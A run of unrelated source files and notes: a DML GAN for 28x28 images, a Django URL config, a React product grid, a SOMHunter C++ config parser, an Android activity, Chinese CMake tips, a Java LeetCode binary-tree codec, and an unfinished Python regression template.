hout_2G, wout_2G, out_2G_batch_norm, cache_mean_2, cache_inv_var_2, out_2G_leaky_relu, out_3G, hout_3G, wout_3G, out_3G_batch_norm, cache_mean_3, cache_inv_var_3, out_3G_leaky_relu, out_4G, hout_4G, wout_4G) } disc_forward = function(matrix[double] X, list[unknown] model) return(matrix[double] decision, list[unknown] params) { /* * Computes the forward pass of the discriminator. * Decides if input images are real or fake. * * Inputs: * - X: Input matrix containing sample images, of shape (N, 784). * - model: List containing the discriminator weights and biases. * * Outputs: * - decision: Decisions for realness of input, of shape (N, 1). * - params: List of outputs of the discriminator layers, needed for backward pass. */ HWin = 28 HWf = 5 pad = 2 stride = 2 DW_1 = as.matrix(model[1]) Db_1 = as.matrix(model[2]) DW_2 = as.matrix(model[3]) Db_2 = as.matrix(model[4]) DW_3 = as.matrix(model[5]) Db_3 = as.matrix(model[6]) #Discriminator forward #Layer 1 [out_1D, hout_1D, wout_1D] = conv2d::forward(X, DW_1, Db_1, 1, HWin, HWin, HWf, HWf, stride, stride, pad, pad) out_1D_leaky_relu = leaky_relu::forward(out_1D) [out_1D_dropout, mask_1] = dropout::forward(out_1D_leaky_relu, 0.3, -1) #Layer 2 [out_2D, hout_2D, wout_2D] = conv2d::forward(out_1D_dropout, DW_2, Db_2, 64, hout_1D, wout_1D, HWf, HWf, stride, stride, pad, pad) out_2D_leaky_relu = leaky_relu::forward(out_2D) [out_2D_dropout, mask_2] = dropout::forward(out_2D_leaky_relu, 0.3, -1) #Output Layer out_3D = affine::forward(out_2D_dropout, DW_3, Db_3) decision = sigmoid::forward(out_3D) params = list(X, out_1D, hout_1D, wout_1D, out_1D_leaky_relu, out_1D_dropout, mask_1, out_2D, hout_2D, wout_2D, out_2D_leaky_relu, out_2D_dropout, mask_2, out_3D) } disc_backward = function(matrix[double] decision, matrix[double] targets, boolean lock, int iteration, list[unknown] model, list[unknown] gradients, list[unknown] params) return(matrix[double] dX, list[unknown] model, list[unknown] gradients) { /* * Computes the backward pass of the discriminator. * Updates gradients and weights of the discriminator. * * Inputs: * - decisions: Input matrix containing discriminator decisions, of shape (N, 1). * - targets: Target values for the decisions, of shape (N, 1). * - lock: Boolean that governs if discriminator weights are to be updated, TRUE means the weights are not updated. * - iteration: Current iteration of the training. * - model: List containing the discriminator weights and biases. * - gradients: List containing the discriminator gradients. * - params: List of outputs of the discriminator layers from the forward pass. * * Outputs: * - dX: Gradient wrt `X`, of shape (N, 784). * - model: List containing the updated discriminator weights and biases. * - gradients: List containing the updated discriminator gradients. */ HWin = 28 HWf = 5 pad = 2 stride = 2 lr = 0.0002 beta1 = 0.5 beta2 = 0.999 epsilon = 1e-07 DW_1 = as.matrix(model[1]) Db_1 = as.matrix(model[2]) DW_2 = as.matrix(model[3]) Db_2 = as.matrix(model[4]) DW_3 = as.matrix(model[5]) Db_3 = as.matrix(model[6]) mDW_1 = as.matrix(gradients[1]) vDW_1 = as.matrix(gradients[2]) mDb_1 = as.matrix(gradients[3]) vDb_1 = as.matrix(gradients[4]) mDW_2 = as.matrix(gradients[5]) vDW_2 = as.matrix(gradients[6]) mDb_2 = as.matrix(gradients[7]) vDb_2 = as.matrix(gradients[8]) mDW_3 = as.matrix(gradients[9]) vDW_3 = as.matrix(gradients[10]) mDb_3 = as.matrix(gradients[11]) vDb_3 = as.matrix(gradients[12]) #Discriminator backward #Output Layer dloss = log_loss::backward(decision, targets) dout_3D = sigmoid::backward(dloss, as.matrix(params[14])) [dout_2D, dDW_3, dDb_3] = affine::backward(dout_3D, as.matrix(params[12]), DW_3, Db_3) #Layer 2 dout_2D_dropout = dropout::backward(dout_2D, as.matrix(params[11]), 0.3, as.matrix(params[13])) dout_2D_leaky_relu = leaky_relu::backward(dout_2D_dropout, as.matrix(params[8])) [dout_1D, dDW_2, dDb_2] = conv2d::backward(dout_2D_leaky_relu, as.scalar(params[9]), as.scalar(params[10]), as.matrix(params[6]), DW_2, Db_2, 64, as.scalar(params[3]), as.scalar(params[4]), HWf, HWf, stride, stride, pad, pad) #Layer 1 dout_1D_dropout = dropout::backward(dout_1D, as.matrix(params[5]), 0.3, as.matrix(params[7])) dout_1D_leaky_relu = leaky_relu::backward(dout_1D_dropout, as.matrix(params[2])) [dX, dDW_1, dDb_1] = conv2d::backward(dout_1D_leaky_relu, as.scalar(params[3]), as.scalar(params[4]), as.matrix(params[1]), DW_1, Db_1, 1, HWin, HWin, HWf, HWf, stride, stride, pad, pad) if(!lock) { #optimize [DW_1, mDW_1, vDW_1] = adam::update(DW_1, dDW_1, lr, beta1, beta2, epsilon, iteration, mDW_1, vDW_1) [Db_1, mDb_1, vDb_1] = adam::update(Db_1, dDb_1, lr, beta1, beta2, epsilon, iteration, mDb_1, vDb_1) [DW_2, mDW_2, vDW_2] = adam::update(DW_2, dDW_2, lr, beta1, beta2, epsilon, iteration, mDW_2, vDW_2) [Db_2, mDb_2, vDb_2] = adam::update(Db_2, dDb_2, lr, beta1, beta2, epsilon, iteration, mDb_2, vDb_2) [DW_3, mDW_3, vDW_3] = adam::update(DW_3, dDW_3, lr, beta1, beta2, epsilon, iteration, mDW_3, vDW_3) [Db_3, mDb_3, vDb_3] = adam::update(Db_3, dDb_3, lr, beta1, beta2, epsilon, iteration, mDb_3, vDb_3) model = list(DW_1, Db_1, DW_2, Db_2, DW_3, Db_3) gradients = list(mDW_1, vDW_1, mDb_1, vDb_1, mDW_2, vDW_2, mDb_2, vDb_2, mDW_3, vDW_3, mDb_3, vDb_3) } } gen_backward = function(matrix[double] dX, int iteration, list[unknown] model, list[unknown] gradients, list[unknown] params, String mode) return(list[unknown] model, list[unknown] gradients) { /* * Computes the backward pass of the generator. * Updates gradients and weights of the generator. * * Inputs: * - dX: Gradient wrt `X`, of shape (N, 784). * - iteration: Current iteration of the training. * - model: List containing the generator weights and biases. * - gradients: List containing the generator gradients. * - params: List of outputs of the generator layers from the forward pass. * * Outputs: * - model: List containing the updated generator weights and biases. * - gradients: List containing the updated generator gradients. */ D = 7*7*256 HWf = 5 pad = 2 stride = 2 lr = 0.0002 beta1 = 0.5 beta2 = 0.999 epsilon = 1e-07 GW_1 = as.matrix(model[1]) Gb_1 = as.matrix(model[2]) GW_2 = as.matrix(model[3]) Gb_2 = as.matrix(model[4]) GW_3 = as.matrix(model[5]) Gb_3 = as.matrix(model[6]) GW_4 = as.matrix(model[7]) Gb_4 = as.matrix(model[8]) mGW_1 = as.matrix(gradients[1]) vGW_1 = as.matrix(gradients[2]) mGb_1 = as.matrix(gradients[3]) vGb_1 = as.matrix(gradients[4]) mGW_2 = as.matrix(gradients[5]) vGW_2 = as.matrix(gradients[6]) mGb_2 = as.matrix(gradients[7]) vGb_2 = as.matrix(gradients[8]) mGW_3 = as.matrix(gradients[9]) vGW_3 = as.matrix(gradients[10]) mGb_3 = as.matrix(gradients[11]) vGb_3 = as.matrix(gradients[12]) mGW_4 = as.matrix(gradients[13]) vGW_4 = as.matrix(gradients[14]) mGb_4 = as.matrix(gradients[15]) vGb_4 = as.matrix(gradients[16]) #Generator backward #Output Layer dout_4G_tanh = tanh::backward(dX, as.matrix(params[24])) [dout_4G, dGW_4, dGb_4] = conv2d_transpose::backward(dout_4G_tanh, as.scalar(params[25]), as.scalar(params[26]), as.matrix(params[23]), GW_4, Gb_4, 64, as.scalar(params[21]), as.scalar(params[22]), HWf, HWf, stride, stride, pad, pad) #Layer 3 dout_3G_leaky_relu = leaky_relu::backward(dout_4G, as.matrix(params[20])) [dout_3G_batch_norm, dgamma_3G, dbeta_3G] = batch_norm_2d::backward(dout_3G_leaky_relu, as.matrix(params[21]), as.matrix(params[22]), as.matrix(params[17]), matrix(1,64,1), 64, as.scalar(params[18]), as.scalar(params[19]), 0.001) [dout_3G, dGW_3, dGb_3] = conv2d_transpose::backward(dout_3G_batch_norm, as.scalar(params[18]), as.scalar(params[19]), as.matrix(params[16]), GW_3, Gb_3, 128, as.scalar(params[11]), as.scalar(params[12]), HWf, HWf, stride, stride, pad, pad) #Layer 2 dout_2G_leaky_relu = leaky_relu::backward(dout_3G, as.matrix(params[13])) [dout_2G_batch_norm, dgamma_2G, bbeta_2G] = batch_norm_2d::backward(dout_2G_leaky_relu, as.matrix(params[14]), as.matrix(params[15]), as.matrix(params[10]), matrix(1,128,1), 128, as.scalar(params[11]), as.scalar(params[12]), 0.001) [dout_2G, dGW_2, dGb_2] = conv2d_transpose::backward(dout_2G_batch_norm, as.scalar(params[11]), as.scalar(params[12]), as.matrix(params[9]), GW_2, Gb_2, 256, 7, 7, HWf, HWf, 1, 1, pad, pad) #Layer 1 dout_1G_leaky_relu = leaky_relu::backward(dout_2G, as.matrix(params[3])) [dout_1G_batch_norm, dgamma_1G, dbeta_1G] = batch_norm_1d::backward(dout_1G_leaky_relu, as.matrix(params[3]), as.matrix(params[4]), as.matrix(params[5]), as.matrix(params[6]), as.matrix(params[7]), as.matrix(params[8]), as.matrix(params[2]), matrix(1,1,D), matrix(0,1,D), mode, matrix(0,1,D), matrix(1,1,D), 0.99, 0.001) [dout_1G, dGW_1, dGb_1] = affine::backward(dout_1G_batch_norm, as.matrix(params[1]), GW_1, Gb_1) #optimize [GW_1, mGW_1, vGW_1] = adam::update(GW_1, dGW_1, lr, beta1, beta2, epsilon, iteration, mGW_1, vGW_1) [Gb_1, mGb_1, vGb_1] = adam::update(Gb_1, dGb_1, lr, beta1, beta2, epsilon, iteration, mGb_1, vGb_1) [GW_2, mGW_2, vGW_2] = adam::update(GW_2, dGW_2, lr, beta1, beta2, epsilon, iteration, mGW_2, vGW_2) [Gb_2, mGb_2, vGb_2] = adam::update(Gb_2, dGb_2, lr, beta1, beta2, epsilon, iteration, mGb_2, vGb_2) [GW_3, mGW_3, vGW_3] = adam::update(GW_3, dGW_3, lr, beta1, beta2, epsilon, iteration, mGW_3, vGW_3) [Gb_3, mGb_3, vGb_3] = adam::update(Gb_3, dGb_3, lr, beta1, beta2, epsilon, iteration, mGb_3, vGb_3) [GW_4, mGW_4, vGW_4] = adam::update(GW_4, dGW_4, lr, beta1, beta2, epsilon, iteration, mGW_4, vGW_4) [Gb_4, mGb_4, vGb_4] = adam::update(Gb_4, dGb_4, lr, beta1, beta2, epsilon, iteration, mGb_4, vGb_4) model = list(GW_1, Gb_1, GW_2, Gb_2, GW_3, Gb_3, GW_4, Gb_4) gradients = list(mGW_1, vGW_1, mGb_1, vGb_1, mGW_2, vGW_2, mGb_2, vGb_2, mGW_3, vGW_3, mGb_3, vGb_3, mGW_4, vGW_4, mGb_4, vGb_4) } generate = function(int amount, matrix[double] GW_1, matrix[double] Gb_1, matrix[double] GW_2, matrix[double] Gb_2, matrix[double] GW_3, matrix[double] Gb_3, matrix[double] GW_4, matrix[double] Gb_4) return(matrix[double] images) { /* * Generates amount images from random noise. * * * Inputs: * - amount: Amount of images to be generated. * - GW_1: Generator 1st layer weights (parameters) matrix, of shape (100, D). * - Gb_1: Generator 1st layer biases vector, of shape (1, D). * - GW_2: Generator 2nd layer weights (parameters) matrix, of shape (256, 128*HWf*HWf). * - Gb_2: Generator 2nd layer biases vector, of shape (128, 1). * - GW_3: Generator 3rd layer weights (parameters) matrix, of shape (128, 64*HWf*HWf). * - Gb_3: Generator 3rd layer biases vector, of shape (64, 1). * - GW_4: Generator 4th layer weights (parameters) matrix, of shape (64, 1*HWf*HWf). * - Gb_4: Generator 4th layer biases vector, of shape (1, 1). * * Outputs: * - images: Matrix of generated images of shape (amount, D). */ noise = rand(rows = amount, cols = 100, min = 0.0, max = 1.0) [images, params] = gen_forward(noise, list(GW_1, Gb_1, GW_2, Gb_2, GW_3, Gb_3, GW_4, Gb_4), 'train') } eval = function(matrix[double] images, matrix[double] DW_1, matrix[double] Db_1, matrix[double] DW_2, matrix[double] Db_2, matrix[double] DW_3, matrix[double] Db_3) return(matrix[double] decision) { /* * Predicts if set of input images is real or fake. * * * Inputs: * - images: Matrix of generated images of shape (N, D). * - DW_1: Discriminator 1st layer weights (parameters) matrix, of shape (64, 1*HWf*HWf). * - Db_1: Discriminator 1st layer biases vector, of shape (64, 1). * - DW_2: Discriminator 2nd layer weights (parameters) matrix, of shape (128, 64*HWf*HWf). * - Db_2: Discriminator 2nd layer biases vector, of shape (128, 1). * - DW_3: Discriminator 3rd layer weights (parameters) matrix, of shape (6272, 1). * - Db_3: Discriminator 3rd layer biases vector, of shape (1, 1). * * Outputs: * - prediction: Matrix of predictions of shape (N, 1). */ [decision, disc_params] = disc_forward(images, list(DW_1, Db_1, DW_2, Db_2, DW_3, Db_3)) }
"""fcom URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib.auth import views as auth_views from django.urls import path, include from dashboard.index.forms import LoginForm, admin_login, logout_dashboard_user, forget_password, partner_login from home.views import home from django.conf import settings from django.conf.urls.static import static urlpatterns = [ #dashboard pages urls path('admin/', include("dashboard.index.urls")), path('login/', admin_login, name='login'), path('partner/', partner_login, name='partner_login'), path('forget-password/', forget_password, name='forget_password'), path('logut/', logout_dashboard_user, name='logout_dashboard_user'), # path('login/', auth_views.LoginView.as_view(template_name="dashboard/login.html"), # {'next_page': '/admin/dashboard', 'template_name': 'login.html', 'authentication_form': login_form}, name='login'), path('master/', include("dashboard.master.urls")), path('services/', include("dashboard.services.urls")), path('orders/', include("dashboard.orders.urls")), path('seo/', include("dashboard.seo.urls")), path('bookings/', include("bookings.urls")), #User pages urls path('', home, name="HomePage"), path('', include("home.urls")), path('helpdesk/', include("chat.urls")), path('api/v1/user/', include("api.urls")), # path('api/v1/bookings/', include("bookings.urls")), ] + static(settings.MEDIA_URL, document_root= settings.MEDIA_ROOT) + static(settings.STATIC_URL, document_root= settings.STATIC_ROOT)
import React, { useState, useEffect } from "react"; import axios from "axios"; import { Link } from "react-router-dom"; import { useCart } from './../context/ContextApi'; const apiUrl = "https://jsonplaceholder.typicode.com/photos"; const Girl = () => { const [data, setData] = useState([]); const{addToCart}=useCart(); useEffect(() => { getData1(); }, []); // promise -------------------------------------------- // const getData = () => { // axios // .get(apiUrl) // .then((response) => { // setData(response.data); // console.log("Data:", response.data); // }) // .catch((error) => { // console.error("Error:", error); // }); // }; // async/await -------------------------------------------- const getData1 = async () => { try { const response = await axios.get(apiUrl, { params: { albumId: 3 } }); setData(response.data); // console.log("Data:", response.data); } catch (error) { console.error("Error:", error); } }; return ( <div className="grid grid-cols-4 gap-x-8 gap-y-10 pt-1"> {data.map((item) => ( <div key={item.id}> <Link to={`/productDetail/${item.id}`}> <div className="bg-gray-100 p-5"> <img src={item.thumbnailUrl} alt="" className="mx-auto my-auto" /> {/* <button onClick={() => addToCart({ id:item.id, titll:item.title,url:item.url })}>add</button> */} </div> </Link> <div className="flex justify-between"> <div> <p className="text-lg">{item.title.slice(0, 10)}</p> <p className="text-lg text-gray-300">stock: {item.id}</p> </div> <p className="text-lg text-green-600">$ {item.id * 15}</p> </div> </div> ))} </div> ); }; export default Girl;
/* This file is part of SOMHunter. * * Copyright (C) 2020 František Mejzlík <frankmejzlik@gmail.com> * Mirek Kratochvil <exa.exa@gmail.com> * Patrik Veselý <prtrikvesely@gmail.com> * * SOMHunter is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free * Software Foundation, either version 2 of the License, or (at your option) * any later version. * * SOMHunter is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * SOMHunter. If not, see <https://www.gnu.org/licenses/>. */ #ifndef CONFIG_JSON_H_ #define CONFIG_JSON_H_ #include <fstream> #include <stdexcept> #include <string> #include "json11.hpp" #include "log.h" #include "utils.h" struct VideoFilenameOffsets { size_t filename_off; size_t vid_ID_off; size_t vid_ID_len; size_t shot_ID_off; size_t shot_ID_len; size_t frame_num_off; size_t frame_num_len; }; struct SubmitterConfig { /** If submit actions will create actual HTTP request */ bool submit_to_VBS; std::string submit_rerank_URL; std::string submit_URL; size_t team_ID; size_t member_ID; std::string VBS_submit_archive_dir; std::string VBS_submit_archive_log_suffix; bool extra_verbose_log; size_t send_logs_to_server_period; size_t log_replay_timeout; }; /** Parsed current config of the core. * \see ParseJsonConfig */ struct Config { SubmitterConfig submitter_config; size_t max_frame_filename_len; VideoFilenameOffsets filename_offsets; std::string frames_list_file; std::string frames_path_prefix; size_t features_file_data_off; std::string features_file; size_t features_dim; size_t pre_PCA_features_dim; std::string kw_bias_vec_file; std::string kw_scores_mat_file; std::string kw_PCA_mean_vec_file; std::string kw_PCA_mat_file; size_t kw_PCA_mat_dim; std::string kws_file; size_t display_page_size; size_t topn_frames_per_video; size_t topn_frames_per_shot; std::string feedback_log_dir; std::string target_list_file; static Config parse_json_config(const std::string &filepath); }; /** Parsees the JSON config file that holds initial config. * * That means basically what we have in config.h now (paths etc.) */ inline Config Config::parse_json_config(const std::string &filepath) { std::ifstream ifs{ filepath }; if (!ifs.is_open()) { std::string msg{ "Error opening file: " + filepath }; warn(msg); throw std::runtime_error(msg); } // Rad the whole file ifs.seekg(0, std::ios::end); size_t size = ifs.tellg(); std::string cfg_file_contents(size, ' '); ifs.seekg(0); ifs.read(&cfg_file_contents[0], size); std::string err; auto json{ json11::Json::parse(cfg_file_contents, err) }; if (!err.empty()) { std::string msg{ "Error parsing JSON config file: " + filepath }; warn(msg); throw std::runtime_error(msg); } auto cfg = Config{ SubmitterConfig{ json["submitter_config"]["submit_to_VBS"].bool_value(), json["submitter_config"]["submit_rerank_URL"].string_value(), json["submitter_config"]["submit_URL"].string_value(), size_t(json["submitter_config"]["team_ID"].int_value()), size_t(json["submitter_config"]["member_ID"].int_value()), json["submitter_config"]["VBS_submit_archive_dir"] .string_value(), json["submitter_config"]["VBS_submit_archive_log_suffix"] .string_value(), json["submitter_config"]["extra_verbose_log"].bool_value(), size_t(json["submitter_config"]["send_logs_to_server_period"] .int_value()), size_t( json["submitter_config"]["log_replay_timeout"].int_value()), }, size_t(json["max_frame_filename_len"].int_value()), VideoFilenameOffsets{ size_t( json["filename_offsets"]["fr_filename_off"].int_value()), size_t(json["filename_offsets"]["fr_filename_vid_ID_off"] .int_value()), size_t(json["filename_offsets"]["fr_filename_vid_ID_len"] .int_value()), size_t(json["filename_offsets"]["fr_filename_shot_ID_off"] .int_value()), size_t(json["filename_offsets"]["fr_filename_shot_ID_len"] .int_value()), size_t(json["filename_offsets"]["fr_filename_frame_num_off"] .int_value()), size_t(json["filename_offsets"]["fr_filename_frame_num_len"] .int_value()), }, json["frames_list_file"].string_value(), json["frames_path_prefix"].string_value(), size_t(json["features_file_data_off"].int_value()), json["features_file"].string_value(), size_t(json["features_dim"].int_value()), size_t(json["pre_PCA_features_dim"].int_value()), json["kw_bias_vec_file"].string_value(), json["kw_scores_mat_file"].string_value(), json["kw_PCA_mean_vec_file"].string_value(), json["kw_PCA_mat_file"].string_value(), size_t(json["kw_PCA_mat_dim"].int_value()), json["kws_file"].string_value(), size_t(json["display_page_size"].int_value()), size_t(json["topn_frames_per_video"].int_value()), size_t(json["topn_frames_per_shot"].int_value()), json["feedback_log_dir"].string_value(), json["target_list_file"].string_value(), }; return cfg; } #endif // CONFIG_JSON_H_
package com.r0adkll.anvil_ic import android.content.Intent import android.os.Bundle import androidx.activity.ComponentActivity import androidx.activity.compose.setContent import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.material3.Button import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Surface import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.ui.Modifier import androidx.compose.ui.tooling.preview.Preview import com.r0adkll.anvil_ic.ui.theme.AnvilICIssueSampleTheme import com.r0adkll.feed.impl.ui.FeedScreen class MainActivity : ComponentActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContent { AnvilICIssueSampleTheme { // A surface container using the 'background' color from the theme Surface(modifier = Modifier.fillMaxSize(), color = MaterialTheme.colorScheme.background) { Greeting("Android") Button(onClick = { startActivity( Intent(this, FeedScreen::class.java) ) }) { Text("Show Feed") } } } } } } @Composable fun Greeting(name: String, modifier: Modifier = Modifier) { Text( text = "Hello $name!", modifier = modifier ) } @Preview(showBackground = true) @Composable fun GreetingPreview() { AnvilICIssueSampleTheme { Greeting("Android") } }
## c++ 项目中存在 c 文件 - cmake 工程时出现下列问题 ```cmake -- The CXX compiler identification is GNU 6.3.0 -- Check for working CXX compiler: /usr/bin/c++ -- Check for working CXX compiler: /usr/bin/c++ -- works -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Detecting CXX compile features -- Detecting CXX compile features - done -- Configuring done CMake Error: Cannot determine link language for target "asn1". CMake Error: CMake can not determine linker language for target: asn1 -- Generating done CMake Generate step failed. Build files cannot be regenerated correctly. ``` 原因 asn1 相关的文件是 .c 文件,在编译工程时强制使用了 CXX 编译,如下: ```cmake project("myproject" CXX) ``` 导致没有办法找到相应的文件。 - 解决: 将上述 cmake 语句修改,使支持 .c 文件: ```cmake project("myproject" C CXX) ``` ## 使用 find_library 而不是 link_directories 查找库 - 如果库不在系统搜索路径中(如自己生成的库),就需要指定库的编译链接路径。 - find_library 和 link_directories 都可以指定库的路径,不过前者返回的是库的全路径 (即使在搜索时指定的是相对路径),而 link_directories 则不然,所以官方更建议使用 find_library 。 ```cmake find_library(dynamic_own own ../common/own NO_DEFAULT_PATH) message("own path: " ${dynamic_own}) ``` 输出打印为: ```cmake own path: /home/lb/test/libown.so ``` ## find_library 也可以用来寻找静态库 - 格式 ```cmake find_library (<VAR> NAMES name PATHS paths... NO_DEFAULT_PATH) ``` NAMES 首先会被一些 unix-like 系统认为是一个动态库名,其会被还原为 lib${NAMES}.so - 如果想要查找一个静态库,需要指定全称,如 libfoo.a ```cmake ... find_library(static_asn1 libasn1.a ../common/asn1c NO_DEFAULT_PATH) find_library(static_curl libcurl.a ../common/curl/lib NO_DEFAULT_PATH) find_library(static_pist libpistache.a ../common/pistache/lib NO_DEFAULT_PATH) add_executable(cert_server ${src_server}) target_link_libraries(cert_server ${static_asn1} ${static_curl} ${static_pist} pthread) ``` - 实际使用时,find_library 常用作查找静态库,近而链接使用。 ## 使用 target_link_libraries 注意连接顺序,尤其是遇到静态库时 - 有三个想到独立的静态库 libasn1.a libcurl.a libpistache.a ,还有一个静态库 liball.a 包含了 前三个静态库中的一些函数,应该像下面这些连接: ```cmake # ... static_xxx 代表各自静态库的全路径 target_link_libraries(exeprogram ${static_all} ${static_asn1} ${static_curl} ${static_pist} pthread) ``` ## cmake 不像 make, cmake 只能静态查找 - 比如你想生成一个静态库文件 libxxx.a 供其他程序使用,这个库你事先在 cmake 文件中写好,但在 cmake 进行配置时,会报失败,因为没能找到这个静态库。 ## 使用 link_directories 指定动态库搜索路径时,一定要是全路径 - 指定搜索路径的相对路径时,可以通过下列方式转全路径 ```cmake find_library(openssl_library crypto ../common/openssl/lib NO_DEFAULT_PATH) get_filename_component(openssl_library_path ${openssl_library} PATH) get_filename_component(openssl_library_name ${openssl_library} NAME_WE) string(REGEX REPLACE "^lib" "" openssl_library_name ${openssl_library_name}) message(${openssl_library}) message(${openssl_library_path}) message(${openssl_library_name}) ``` 打印如下: ```shell /home/scms/v2x-pki-client/v2x-pki-client/src/common/openssl/lib/libcrypto.so /home/scms/v2x-pki-client/v2x-pki-client/src/common/openssl/lib crypto ``` ## 使用 cmake 编译后的可执行文件,调试时无法步进函数内调试 - 如下 cmake 文件 ```cmake cmake_minimum_required(VERSION 3.0.2) set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g -O0 -Wall -W") include_directories(${ASN1_SRCS_PATH}) aux_source_directory(${ASN1_SRCS_PATH} SRCS) # add_executable(coer_decoder ${SRCS} coer_decoder.cpp) ``` coer_decoder.cpp 文件内调用了 SRCS 中的一些函数,也指定了`-g -O0`等调试选项,但生成的 可执行程序在调试时却无法步入 SRCS 中调用的那些函数 - 解决方法: 执行 cmake 时添加 `-DCMAKE_BUILD_TYPE=Debug` 选项。
//<p>序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内存中,同时也可以通过网络传输到另一个计算机环境,采取相反方式重构得到原数据。</p> // //<p>请设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列 / 反序列化算法执行逻辑,你只需要保证一个二叉树可以被序列化为一个字符串并且将这个字符串反序列化为原始的树结构。</p> // //<p><strong>提示: </strong>输入输出格式与 LeetCode 目前使用的方式一致,详情请参阅&nbsp;<a href="/faq/#binary-tree">LeetCode 序列化二叉树的格式</a>。你并非必须采取这种方式,你也可以采用其他的方法解决这个问题。</p> // //<p>&nbsp;</p> // //<p><strong>示例 1:</strong></p> //<img alt="" src="https://assets.leetcode.com/uploads/2020/09/15/serdeser.jpg" style="width: 442px; height: 324px;" /> //<pre> //<strong>输入:</strong>root = [1,2,3,null,null,4,5] //<strong>输出:</strong>[1,2,3,null,null,4,5] //</pre> // //<p><strong>示例 2:</strong></p> // //<pre> //<strong>输入:</strong>root = [] //<strong>输出:</strong>[] //</pre> // //<p><strong>示例 3:</strong></p> // //<pre> //<strong>输入:</strong>root = [1] //<strong>输出:</strong>[1] //</pre> // //<p><strong>示例 4:</strong></p> // //<pre> //<strong>输入:</strong>root = [1,2] //<strong>输出:</strong>[1,2] //</pre> // //<p>&nbsp;</p> // //<p><strong>提示:</strong></p> // //<ul> // <li>树中结点数在范围 <code>[0, 10<sup>4</sup>]</code> 内</li> // <li><code>-1000 &lt;= Node.val &lt;= 1000</code></li> //</ul> // //<div><div>Related Topics</div><div><li>树</li><li>深度优先搜索</li><li>广度优先搜索</li><li>设计</li><li>字符串</li><li>二叉树</li></div></div><br><div><li>👍 976</li><li>👎 0</li></div> package _1_dataStructure.tree; import _3_common.entity.tree.TreeNode; import java.util.LinkedList; import java.util.Queue; // 297.二叉树的序列化与反序列化 // 开题时间:2022-09-18 09:00:48 public class SerializeAndDeserializeBinaryTree { public static void main(String[] args) { TreeNode node3 = new TreeNode(3); TreeNode node9 = new TreeNode(9); TreeNode node15 = new TreeNode(15); TreeNode node10 = new TreeNode(10); TreeNode node20 = new TreeNode(20); TreeNode node7 = new TreeNode(7); TreeNode node5 = new TreeNode(5); TreeNode node8 = new TreeNode(8); node3.left = node9; node3.right = node20; node9.left = node15; node9.right = node10; node20.right = node7; node7.left = node5; node7.right = node8; Codec codec = new SerializeAndDeserializeBinaryTree().new Codec(); String serialize = codec.serialize2(node3); System.out.println(serialize); System.out.println(codec.deserialize2(serialize)); } // leetcode submit region begin(Prohibit modification and deletion) public class Codec { /* 3 / \ 9 20 / \ \ 15 10 7 / \ 5 8 3, 9,20, 15,10,,7, ,,,,5,8 3,9,20,15,10,,7,,,,,5,8,,,,, */ public static final char DELI = ','; // region BFS public String serialize(TreeNode root) { if (root == null) return null; StringBuilder sb = new StringBuilder(); Queue<TreeNode> queue = new LinkedList<>(); queue.offer(root); while (!queue.isEmpty()) { TreeNode poll = queue.poll(); if (poll != null) { sb.append(poll.val); queue.offer(poll.left); queue.offer(poll.right); } sb.append(DELI); } return sb.toString(); } public TreeNode deserialize(String data) { if (data == null) return null; String[] split = data.split(String.valueOf(DELI), -1); TreeNode root = new TreeNode(Integer.parseInt(split[0])); Queue<TreeNode> queue = new LinkedList<>(); queue.offer(root); int idx = 1; while (!queue.isEmpty()) { TreeNode poll = queue.poll(); for (int j = 0; j < 2; j++) { String s = split[idx++]; if (!s.isEmpty()) { TreeNode node = new TreeNode(Integer.parseInt(s)); if (j == 0) poll.left = node; else poll.right = node; queue.offer(node); } } } return root; } // endregion // region DFS(pre order) public String serialize2(TreeNode root) { StringBuilder sb = new StringBuilder(); preOrderTraverse(root, sb); return sb.toString(); } private void preOrderTraverse(TreeNode root, StringBuilder sb) { boolean b = root != null; if (b) sb.append(root.val); sb.append(DELI); if (b) { preOrderTraverse(root.left, sb); preOrderTraverse(root.right, sb); } } int idx = 0; public TreeNode deserialize2(String data) { if (data == null) return null; String[] split = data.split(String.valueOf(DELI), -1); return helper(split); } private TreeNode helper(String[] split) { String s = split[idx++]; if (!s.isEmpty()) { TreeNode node = new TreeNode(Integer.parseInt(s)); node.left = helper(split); node.right = helper(split); return node; } else { return null; } } // endregion } // leetcode submit region end(Prohibit modification and deletion) }
# This serves as a template which will guide you through the implementation of this task. It is advised # to first read the whole template and get a sense of the overall structure of the code before trying to fill in any of the TODO gaps # First, we import necessary libraries: import numpy as np import pandas as pd from sklearn.impute import KNNImputer from sklearn.gaussian_process import GaussianProcessRegressor from sklearn.gaussian_process.kernels import DotProduct, RBF, Matern, WhiteKernel import xgboost from xgboost import XGBRegressor, plot_importance from sklearn.model_selection import GridSearchCV from sklearn.model_selection import train_test_split from sklearn.metrics import r2_score import warnings warnings.filterwarnings("ignore") def data_loading(): """ This function loads the training and test data, preprocesses it, removes the NaN values and interpolates the missing data using imputation Parameters ---------- Returns ---------- X_train: matrix of floats, training input with features y_train: array of floats, training output with labels X_test: matrix of floats: dim = (100, ?), test input with features """ # Load training data train = pd.read_csv("train.csv") #print("Training data:") #print("Shape:", train_df.shape) #print(train_df.head(2)) #print('\n') # Load test data test = pd.read_csv("test.csv") #print("Test data:") #print(test_df.shape) #print(test_df.head(2)) # TODO: Perform data preprocessing, imputation and extract X_train, y_train and X_test # Impute missing data using KNN Imputer 